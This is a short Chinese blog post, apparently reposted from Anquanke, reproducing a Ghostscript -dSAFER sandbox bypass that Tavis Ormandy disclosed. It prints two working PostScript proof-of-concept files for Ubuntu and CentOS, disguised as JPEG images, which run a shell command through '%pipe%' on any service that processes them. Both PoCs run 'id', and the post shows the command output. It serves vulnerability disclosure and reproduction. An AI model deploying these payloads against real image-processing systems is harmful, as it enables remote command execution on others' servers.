0x00 漏洞背景(漏洞介绍转自安全客)

8 月 21 号,Tavis Ormandy 通过公开邮件列表(hxxps://bugs.chromium[.]org/p/project-zero/issues/detail?id=1640),再次指出 ghostscript 的安全沙箱可以被绕过,通过构造恶意的图片内容,可造成命令执行

ghostscript应用广泛,ImageMagick、python-matplotlib、libmagick 等图像处理应用均有引用。

在ghostscript中由于以往的安全事件,针对安全问题gs官方采用增加参数-dSAFER来开启安全沙箱,但该沙箱在程序执行过程中由LockSafetyParams这个值进行控制,此次Taviso发现通过restore操作会将该值成功覆盖,导致安全沙箱被绕过,引发命令执行漏洞。

0x01 漏洞影响

version <= 9.23(全版本、全平台)

官方未出缓解措施,最新版本受到影响。

漏洞导致所有引用ghostscript的上游应用收到影响。 常见应用如下:
imagemagick
libmagick
graphicsmagick
gimp
python-matplotlib
texlive-core
texmacs
latex2html
latex2rtf


其实这个漏洞没啥可写的,Ubuntu和CentOS稍微有点区别,放两个POC吧:


For Ubuntu:
本地新建一个jpeg文件内容如下:

[HTML] 纯文本查看 复制代码
1
2
3
4
5
6
7
8
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops


执行结果:
成功执行了命令
ghostscript命令执行漏洞复现POC-孤独常伴 

For CentOS:

代码:

[HTML] 纯文本查看 复制代码
1
2
3
4
5
6
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops



执行结果:
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


详细分析请到安全客观看:
https://www.anquanke.com/post/id/157513

FROM: 安全客